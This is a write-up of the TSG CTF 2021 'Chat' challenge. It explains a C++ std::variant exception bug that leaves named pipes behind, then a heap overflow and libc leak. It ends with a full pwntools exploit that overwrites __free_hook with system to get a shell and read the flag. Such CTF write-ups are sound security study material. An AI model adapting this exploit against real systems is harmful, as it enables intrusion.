# Chat (TSG CTF 2021 Writeup) Author: @azatorium08 = @azaika (C++ trick idea + code review) + @moratorium08 (all the other parts) This is a chat service written in C++. This program makes use of named pipes for the communications between client and host. Before connecting to the C++ app, there is mutual exclusion process to make sure that there is only one client and host respectively. ## 0. Overview of Pwning First, did you find this behavior? ``` $ ./host what's your name? >a connected... The opponent is b Menu 1. set data 2. send data 3. receive data 4. bye > 1 type[int/str] >str data >c Menu 1. set data 2. send data 3. receive data 4. bye > 1 type[int/str] >int data >10000000000000000000000000000000000000000 invalid data Menu 1. set data 2. send data 3. receive data 4. bye > 2 transferring your message... terminate called after throwing an instance of 'std::bad_variant_access' what(): Unexpected index Aborted (core dumped) ``` After you find this, check the directory `env/connector`. ``` $ ls env/connector/ c2h h2c ``` Which means that the following Client's destructor was not called: ```cpp ~Client(){ // remove named pipe remove(H2C); remove(C2H); } ``` This is the key trick of this challenge. By using this bug, you can **re**-connect to the same chat connection as the one you used before. This means you can send an arbitrary buffer using the name buffer that the Chat service first asks. Then you can do **heap overflow** in the following part. ```c= StringData(ifstream &ifs) { ifs >> length; char *b64_buf = (char *)malloc( 1 + (length+2)*2); ifs >> b64_buf; char *buf = (char *)malloc(length + 1); Base64decode(buf, b64_buf); buf[length] = 0; str = buf; free(b64_buf); } ``` Also, check this part of the code: ```c void encode_packet(ofstream &ofs) { ofs << T_STR << endl; ofs << length << endl; char *buf = (char *)malloc(1 + (length+2)*2); Base64encode(buf, str, length); ofs << buf << endl; free(buf); } ``` `Base64encode(buf, str, length)` uses length specified by the peer as the buffer-size. So, you can encode the buffer more than you sent. This leads to heap/libc address leak. Now you can pwn the server in any way you want. ## 1. Why Client won't remove named pipes when it crashes This is the C++ part of this challenge. There are three things you have to know. 1. strtoull raises an exception when a big number is given. 2. std::variant has no "Never-Empty-Guarantee", which means std::variant object can be empty if you write some bad code. - In more detail, if exceptions are thrown when std::variant try to assign some value, then std::variant object can be valueless in some specific situations. 3. if no exception handler exists, C++ runtime calls terminate. - It's implementation-defined whether stack is unwound. - In this problem setting, the stack will not be unwound! - That is, the destructor of Client will not be called! ## 2. How to trigger the crash. To trigger the crash, we have to make `std::variant<IntData, StringData> Client::data` valueless. Look at the implementation of `class IntData` ```cpp= IntData (const IntData&) = default; IntData& operator=(char *line) { val = stoull(line); free(line); return *this; } ``` We want to call this `operator=` and raise an exception during the assignment below: ```cpp void set_int_data(char *line) { IntData::validate(line); data = line; } ``` The assignment in this function is of the third case (Coverting Assignment) in [the cppreference's page of std::variant::operator=](https://en.cppreference.com/w/cpp/utility/variant/operator%3D). It can be seen in the page that `data` may be valueless if std::variant held `StringData` just before the assignment occurs (and it can be confirmed that `data` is to be valueless in this situation [\[wandbox\]](https://wandbox.org/permlink/THFlpNOXQxdW3NlZ)). So you simply have to set string data to the client (or server) first to make the std::variant hold `StringData` and then set int data that exceeds the numeric limits of unsigned long long to raise an exception while `set_int_data` calls `IntData::operator=`. After that, `std::variant<IntData, StringData> Client::data` is valueless. Finally, select `2) send data` to call `std::visit` on the valueless std::variant, which throws std::bad_variant_access exception and make the chat service crash. ## 3. PoC ```python= from __future__ import division, print_function import random from pwn import * import argparse import time import sys context.log_level = 'error' log = False is_gaibu = True if is_gaibu: host = sys.argv[1] port = int(sys.argv[2]) else: host = "" port = 3001 r = remote(host, port) r.recvuntil(b"as a client") r.sendline(b"1") if is_gaibu: r.recvuntil(b"Submit the token generated by `") cmd = r.recvuntil(b"`").strip(b"`") print(cmd) result = subprocess.check_output(cmd, shell=True) hashc = result.replace(b"hashcash token: ", b"") r.sendline(hashc) r.recvuntil(b"room id is ") ROOM_ID = r.recvline().strip(b"\n") print(ROOM_ID) r.close() def wait_for_attach(): if not is_gaibu: print('attach?') raw_input() def debug(x): if not is_gaibu: print(x) def just_u64(x): return u64(x.ljust(8, b'\x00')) def host_(name, wait=True): for i in range(30): r = remote(host, port) r.recvuntil(b"as a client") r.sendline(b"2") r.recvuntil(b"a room id") r.sendline(ROOM_ID) s = r.recvuntil(b"t") s = r.recv() #print(s) if b'is a connection alive' not in s: break r.close() time.sleep(1) else: raise Exception("??") #print(r.recvuntil(b">")) if type(name) == str: name = name.encode("ascii") r.sendline(name) if wait: r.recvuntil(b"connected") return r def client(name): for i in range(30): r = remote(host, port) r.recvuntil(b"as a client") r.sendline(b"3") r.recvuntil(b"a room id") r.sendline(ROOM_ID) s = r.recvuntil(b"t") s = r.recv() debug(s) if b'is a connection alive' not in s: break time.sleep(2) else: raise Exception("??") #print(r.recvuntil(b">")) if type(name) == str: name = name.encode("ascii") r.sendline(name) return r def set_data(r, ty, data, wait=True): debug(r.recvuntil(b">")) r.sendline(b"1") r.recvuntil(b">") r.sendline(ty) r.recvuntil(b">") if type(data) == str: data = data.encode("ascii") r.sendline(data) if wait: r.recvuntil(b"Menu") def set_int(r, data, wait=True): set_data(r, b"int", data, wait) def set_str(r, data): set_data(r, b"str", data) def send_data(r, wait=False): debug(r.recvuntil(b">")) r.sendline(b"2") if wait: r.recvuntil(b"Menu") def receive_data(r): r.recvuntil(b">") r.sendline(b"3") return r.recvline() def send_str(frm, to, data): set_str(frm, data) send_data(frm) frm.recvuntil(b"Menu") receive_data(to) to.recvuntil(b"Menu") BIGNUM = str(0x10000000000000000000) print("starting...") c = client("fuga") h = host_("hoge", False) wait_for_attach() debug(c.recvline()) debug(h.recvline()) VICTIM_SIZE = 0x220 send_str(h, c, "A" * VICTIM_SIZE) def kill_process(r): set_str(r, "u" * 1) set_int(r, BIGNUM) send_data(r) r.close() kill_process(h) def send_line(data): print(f"sending {data}...") h = host_(data) send_data(c, wait=True) kill_process(h) send_line("2") send_line(str(0x440)) import base64 print("sending A...") h = host_(base64.b64encode(b"A")) send_data(c, wait=True) receive_data(c) receive_data(h) receive_data(h) kill_process(h) send_line("2") send_line("10") h = host_(base64.b64encode(b"2")) send_data(c, wait=True) time.sleep(1) h.recvline() s = h.recvline() if b'The opponent is' not in s: print(s) raise("fail") data = base64.b64decode(s.replace(b"The opponent is ", b"").strip(b"\n")) libc_addr = u64(data[8:16]) - 0x1ebfe0 print(hex(libc_addr)) system = libc_addr + 0x55410 free_hook = libc_addr + 0x1eeb28 receive_data(c) set_str(c, "A" * 80) send_str(h, c, "A" * 1) set_str(c, "A" * 160) kill_process(h) send_line("2") send_line("88") h = host_(base64.b64encode(b"A" * 0x70 + p64(free_hook))) send_data(c, wait=True) receive_data(c) wait_for_attach() send_str(h, c, p64(system)) kill_process(h) set_str(c, "sh") set_int(c, "1", wait=False) c.sendline(b"cat flag-b0322d90bc8ae4ca79633200c81e20b7; echo UOUO") s = c.recvuntil(b"UOUO") c.interactive() if b"TSGCTF" in s: print(s) sys.exit(0) else: sys.exit(1) ```